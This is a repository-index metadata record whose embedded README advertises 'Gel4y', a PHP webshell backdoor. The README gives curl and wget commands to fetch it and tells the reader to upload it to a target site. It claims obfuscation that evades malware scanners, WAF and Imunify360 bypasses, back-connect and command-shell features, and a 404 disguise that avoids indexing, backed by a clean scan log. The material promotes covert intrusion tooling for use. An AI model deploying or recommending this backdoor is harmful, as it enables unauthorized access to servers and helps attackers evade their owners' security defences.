{"id":26398290,"url":"https://github.com/22xploitercrew-team/gel4y-mini-shell-backdoor","last_synced_at":"2025-05-16T18:06:48.121Z","repository":{"id":41496559,"uuid":"349676871","full_name":"22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor","owner":"22XploiterCrew-Team","description":"A webshell that can bypass some system security, all code has been obfuscated to bypass malware scans freely.","archived":false,"fork":false,"pushed_at":"2024-11-11T15:00:08.000Z","size":333,"stargazers_count":244,"open_issues_count":1,"forks_count":74,"subscribers_count":7,"default_branch":"1.x.x","last_synced_at":"2025-04-07T15:05:12.601Z","etag":null,"topics":["404-shell","404-shell-backdoor","404-webshell","backdoor","bypass","bypass-403","bypass-406","bypass-forbidden","bypass-imunify360","bypass-malware","bypass-upload","bypass-waf","firewall-bypass","gel4y","hacking","mini-shell","minishell","shell","shell-backdoor","webshell"],"latest_commit_sha":null,"homepage":"https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/1.x.x/gel4y.php","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/22XploiterCrew-Team.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-03-20T09:08:30.000Z","updated_at":"2025-03-22T08:19:52.000Z","dependencies_parsed_at":"2023-12-11T17:27:25.481Z","dependency_job_id":"76169ab0-aca2-4f3a-a787-3fb5dcdeccf0","html_url":"https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/22XploiterCrew-Team%2FGel4y-Mini-Shell-Backdoor","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/22XploiterCrew-Team%2FGel4y-Mini-Shell-Backdoor/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/22XploiterCrew-Team%2FGel4y-Mini-Shell-Backdoor/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/22XploiterCrew-Team%2FGel4y-Mini-Shell-Backdoor/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/22XploiterCrew-Team","download_url":"https://codeload.github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/tar.gz/refs/heads/1.x.x","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254582905,"owners_count":22095518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["404-shell","404-shell-backdoor","404-webshell","backdoor","bypass","bypass-403","bypass-406","bypass-forbidden","bypass-imunify360","bypass-malware","bypass-upload","bypass-waf","firewall-bypass","gel4y","hacking","mini-shell","minishell","shell","shell-backdoor","webshell"],"created_at":"2025-03-17T12:29:56.855Z","updated_at":"2025-05-16T18:06:48.088Z","avatar_url":"https://github.com/22XploiterCrew-Team.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003ch2 align=\"center\"\u003eGel4y Mini Shell Backdoor\u003c/h2\u003e\n\n\u003cp align=\"center\"\u003e\n\t\u003cimg src=\"https://img.shields.io/badge/PHP-7.4.3-blue\"\u003e\n\t\u003cimg src=\"https://img.shields.io/badge/LICENSE-MIT-lime\"\u003e\n\t\u003cimg src=\"https://img.shields.io/badge/Version-1.3.1-darkred\"\u003e\n\u003c/p\u003e\n\nSummary\n----------\n\nGel4y Webshell is a backdoor built using the PHP programming language with the PHP procedural method in stealth mode where the file size is no more than 10KB, using the [nano shell](https://github.com/22XploiterCrew-Team/Shellmon) method so it can easily escape virus scanning. Every PHP function has been obfuscated to avoid some firewall systems (WAF) that block some PHP functions that are considered dangerous.\n\nNow in the latest version of Gel4y the webshell will not be indexed by Google because the resulting status code is 404, this will make your webshell safe from being stolen by other hackers.\n```\n\u003c HTTP/1.1 404 Not Found\n\u003c Host: localhost:1337\n\u003c Date: Wed, 06 Dec 2023 19:20:21 GMT\n\u003c Connection: close\n\u003c X-Powered-By: PHP/8.2.8\n\u003c Content-type: text/html; charset=UTF-8\n```\n\n### How To Use\nYou only need to download the files in this repo, there are several easy ways that you might try\n* cURL\n  ```curl https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/1.x.x/gel4y.php -o gel4y.php```\n* wget\n  ```wget https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/1.x.x/gel4y.php```\n\nthe method above will download and save to your computer, you only need to upload the webshell to the target site that you have and call it according to the name of the webshell file you downloaded.\n\nex: ***https://server.com/gel4y.php***.\n\u003e You can also combine it with [Shellmon](https://github.com/22XploiterCrew-Team/Shellmon).\n\nMalware Scanning Log\n--------\nwe have carried out a small check to find out whether this webshell can still be detected as malware or not, and the results we got are as follows;\n```\n[2023-12-03 18:55:10] [INFO] Scan date: 2023-12-03 18:55:10\n[2023-12-03 18:55:10] [INFO] Scanning ~/Gel4y-Mini-Shell-Backdoor/gel4y.php\n[2023-12-03 18:55:10] [INFO] Mapping and retrieving checksums, please wait\n[2023-12-03 18:55:10] [INFO] Found 1 files to check\n[2023-12-03 18:55:10] [INFO] Checking files\n[2023-12-03 18:55:11] [SUCCESS] Scan finished!\n[2023-12-03 18:55:11] [INFO] Files scanned: 1\n[2023-12-03 18:55:11] [INFO] Files edited: 0\n[2023-12-03 18:55:11] [INFO] Files quarantined: 0\n[2023-12-03 18:55:11] [INFO] Files whitelisted: 0\n[2023-12-03 18:55:11] [INFO] Files ignored: 0\n[2023-12-03 18:55:11] [INFO] Malware detected: 0\n[2023-12-03 18:55:11] [INFO] Malware removed: 0\n```\nThe result obtained is that the webshell is not detected as \"Malware Bailout\".\n\nFeatures [UPDATED]\n--------\nThere are several features that may be very useful for executing on the server, we have only added important features that are commonly used to manage target files\n\n* ***PHP BackConnect***\n* ***Command Shell***\n* ***Zip Upload (Auto Extract)***\n* Obfuscated Code (not a feature in webshell)\n* Multiple File Upload\n* Create Folder and File\n* File Download\n\na few features won't make this shell useless.\n#### Bypassed\n* 403 Forbidden\n* 406 Not Acceptable (according to luck :\u003e)\n* Imunify360 (not always successful, only 85% chance of success)\n\nwe have done a little research on the code we wrote, in order to penetrate some system security which is always a problem for hackers out there.\n\nPreview\n-------\n\n\u003cimg src=\"https://images2.imgbox.com/a6/a8/WmrE2IOI_o.jpg\" width=\"800\" height=\"550\"\u003e \n\nUsing the well-known css framework, Bootstrap version 4, so that the resulting display will adjust to your platform or more often it is called a responsive display.\n\n## Thank's To\nThank you for the support given, we got references in making this backdoor from our friends, including:\n- IndoXploit\n- Indosec\n- Marijuana Shell\n\n### !!!\nIf there is an error in this webshell, please contribute with us.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F22xploitercrew-team%2Fgel4y-mini-shell-backdoor","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F22xploitercrew-team%2Fgel4y-mini-shell-backdoor","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F22xploitercrew-team%2Fgel4y-mini-shell-backdoor/lists"}